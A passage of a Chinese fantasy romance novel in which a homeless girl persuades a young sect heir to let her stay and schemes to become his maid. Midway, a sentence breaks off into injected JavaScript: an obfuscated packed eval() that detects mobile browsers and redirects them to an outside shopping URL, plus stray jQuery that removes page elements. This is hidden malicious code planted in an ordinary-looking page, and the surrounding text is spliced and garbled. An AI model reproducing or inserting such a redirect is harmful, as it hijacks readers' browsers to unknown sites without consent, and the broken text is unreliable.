云倾寒转回身走进来,这才完全看清了她的相貌,少女面容清秀,眼睛依然是有些红红的,呆然立在原地。
“这衣裳好舒服啊,摸着像云朵一样。”
明言伸手细细摩挲着柔软的衣袖,笑着说了句。
“只是普通的衣衫罢了。”
云倾寒走上前稍微打量了几眼说,“若好了,现下雨也停了,我送你离开。”
明言一听这话,满脑子都是抗拒。
她不能走,她绝对不能走!
再出去,她可就没有这么好的运气了。
她可怜兮兮地说:“倾寒哥哥,我真的无处可去了,而且我还未报答你的恩情,能不能让我留在这里啊……”
这回云倾寒并未像开始那样立马开口拒绝,而是沉默了片刻说:“千月宗门规森严,我不可随意带回一个外人在此久居。”
明言眨着眼睛:“我不是外人,你是我的倾寒哥哥呀。”
云倾寒微微一怔,思忖半晌后开口道:“你身份不明,留在千月宗也并非安全。”
“哪里身份不明啦,我都说了我是玉山族的人,现在族人都没了,倾寒哥哥若是不信,去打听一下便知道我没有说谎,况且这不是还有倾寒哥哥在嘛,我知道哥哥会保护我的对吗?”
小姑娘喋喋不休地说着,蹙着眉眼巴巴地看着他,仿佛下一刻就要哭出来。
云倾寒的指腹蜷了下,终归是又心软了:“那你可再留一段时日,我会差人去寻处安全的地方,到时你便离开。”
“好!”
明言满口答应。
先留下再说。
得知可以留下来了,明言也愈发大胆了起来,开始在屋中随意走动,不知不觉间她走到了那座剑架旁,盯着那把银色的剑。
这把剑剑柄精致,纹理细腻如丝,剑身通体如玉,上面似有云雾在缓缓流动,让人不禁为之惊叹。
“好漂亮。”
明言下意识伸手想要摸一下,离剑柄还有一寸的距离时,她听到一声低喝:
“别碰。”
她回过神来,放下手嘟起嘴说:“哦……”
她问:“那这剑有名字吗?”
“它叫清月剑,你勿要随意触碰。”
他看起来极其在意这把剑。
“清月……好好听的名字呀,为何叫这个名字,是倾寒哥哥起的吗?”
“这就是它本来的名字。”
“好吧……”
她识趣地不再追问。
明言话音刚落,只听一句嘹亮的声音响起:“这姑娘谁呀?怎会在你这鬼影都见不着的雾月居中?”
听到动静,明言转头看向眼前正打量着自己的陌生男子,她抬脚往云倾寒身后缩了缩,轻轻抓着他的衣袖低声喊:“倾寒哥哥……”
云倾寒看了眼她攥着自己衣袖的手,没什么动作。
“哥哥?”
那个男子面色讶异,“我说,你何时何地认得这好妹妹啊,你不是一向最循规蹈矩了吗,怎么莫名其妙带回一个女子?不对呀,你都没下过山,从哪里结识的?我可告诉你,若是这女子——”
云倾寒打断他:“后山结界松动,她不慎滑倒跌进了结界缝隙,被结界重伤并卷进了波月林中,所以我才将她带回疗伤。”
“那这姑娘是哪里人啊,怎么还不回去?”
男子继续追问。
“云无崎,你究竟有何事?”
云倾寒不再回答他的问题。
云无崎啧着嘴说:“我还不是来找你练剑的,若我再不找你,怕你闷死在这儿。”
明言静静听着二人的对话。
云无崎……应该是他师弟吧。
云倾寒不动声色地抽回自己的衣袖,低眸对明言说:“你先在此处歇息罢。”
随后他引着云无崎出去了。
云无崎回身又审视着看了明言一眼,这才跟着离开。
两人来到瀑布前练剑的空地,云无崎道:“你爹若知道了,定会罚你。”
“父亲在闭关,不会操心这种事。”
“那你最好祈祷他多闭关几年。”
“过不了多久,会送她离开。”
“行行行,不说了,练剑吧。”
半个时辰后。
“不成不成,日后你还是少练剑吧我现在连你十招都接不过。”
云无崎装作委屈地调侃。
云倾寒收了剑:“是你自己不用功,怎可怪到别人头上。”
云无崎反驳:“我用功有什么用?啊?你说说我用功有什么用?你十五岁时就能打败我爹了,而我当时连我爹三招都接不住。”
“打败师伯,意外而已。”
云无崎:“……”
另一边,明言趴在窗前发愣。
眼见外面的天色渐沉,她思索着今后该怎么办。
其实这里挺好的。
虽人生地不熟,但眼前男子救了她,把她带回了千月宗,给了她干净衣物。
她清楚她不是被卷入了什么后山结界受伤才被带回疗伤的,但他却以此为借口替她隐瞒了下来。
虽看着总是一副冷冰冰的模样,可能感觉出来骨子里是个善良的人,想来也不会多有苛责她。
来的这半日,虽也处处小心翼翼,却也让她觉得比在那玉山强。
她想要好好活下去,就算终日无家可归,她也想要活着。
想了半晌,她坚定了要一直留在这里的决心。
可要怎样才能一直留在这呢?
这里是千月宗,人家有自己的规矩,她确实没任何理由长居,除非她能成为这里的弟子。
但这么些年,她在玉山什么本事都没学会,有时饭都吃不饱,哪还有心思学什么术法啊……
这地方不是凡人随随便便能进的,再者她还一点长处都没有,被收为弟子简直就是笑话。
可当不成弟子,她还能怎样做呢?
百般苦思下,她终于有所悟。
方才那个替她拿衣物的侍女,看着同她一般年岁,不如装装可怜,让这少主收了她做侍女吧。
在这儿当侍女总比出去等死强吧,也肯定比随便当个杂役强。
况且看那个侍女,穿得戴得都精致玲珑,想来也是待之甚厚,她名义上是什么玉山族的族人,都没有如此宽裕。
明言越想越觉得此路可行,这是她能够想到的,最好的结果。
既不会太过僭越,也不会让她太过低微,以后的日子也都有了着落。
攒到了月钱,她便可以买漂亮的发饰和衣物,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781264|210101||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
留在仙谷过着安逸和平常的生活。
想到这些,她忍不住望着窗外笑了,原来她离幸福亦可以近在咫尺。
正盘算着要如何行成此事,云倾寒从门外提着剑回来了。
看着发呆的明言,他抿了口茶问:“不适应?”
明言回过神来:“没、没有。”
她犹豫半晌,说:“倾寒哥哥,我……我饿了。”
她确实是饿了许久,从清晨到现在都没吃过东西,又一路跑了那么久,早就饿得有些发昏。
索性先要点吃食,再说侍女的事。
闻言云倾寒凝了下眉,唤来离香:“去准备些吃食。”
“少主不是……”
离香说着,转头看了明言一眼,她明白了什么,“哦,是。”
她拱手后便出去准备了。
没过多久后离香带着几个侍从端来了几盘吃食,是几碟较为清淡的小菜和一些浅色糕点。
云倾寒转头看向正目不转睛盯着这些饭食的明言,以为她是嫌菜太过寡淡,便又吩咐离香:“再去多准备一些……荤食。”
“是,少主。”离香又出去了。
“不用了,倾寒哥哥,我吃这些就够了。”
明言这话并非故意礼让,而是真的觉得不错了,她根本没有嫌饭菜清淡,甚至是馋得不得了了才那么盯着。
之前在玉山都很少能吃上这么几个菜。
“既然饿了许久,还是多吃些罢。”
云倾寒没有过多神情,又抿了口茶。
明言狼吞虎咽地吃了几口后,心觉不妥,速度便缓了下来。
云倾寒倒是难得地有些想笑,淡淡地说了句:“不必拘束。”
“倾寒哥哥,你也吃呀。”明言停下筷子看着他说。
“我不吃晚膳,你吃饱便可。”
“那你不会饿吗?”
“我早已习惯,三日不食,也不会觉得饥饿。”
“啊……那也挺没意思的……”
明言脱口而出,不过很快她意识到好似不该如此说,拿着筷子的手顿在空中。
她急忙找补,“不是,我是说,这境界好厉害。”
云倾寒浅浅抿了抿唇,没作声。
说话间离香又端着几盘食物过来了,这次全是一些精致的荤菜。
明言从未一下子吃过这么多好菜,眼睛都看看直了。
大饱口福了一顿后,她开始琢磨着要如何开口说侍女的事。
这时候听见云倾寒开口:“时候不早了,早些歇息罢。
他对离香道:“带明言姑娘去临室休息。”
明言愣了一下,正欲开口,紧跟着离香便已经摊手相迎:“明言姑娘,跟我来吧。”
她只得先乖乖跟着离香去了临室。
她打量四周,发现这像是个书阁,布置倒是和那云倾寒的屋中没太大差别,只是小了些,多了几柜书,少了台剑架。
离香走后,明言察看了一番屋门,屋门是不能锁住的,想了想后,她将屋内茶桌前的木椅搬过去抵在门后,又将床边大敞的窗子反复合上。
弄完一切后,她倒在床上,松了口气。
她继续思索着明日要怎么开口说想要做侍女的事,结果刚开始想她便合上眼没了意识……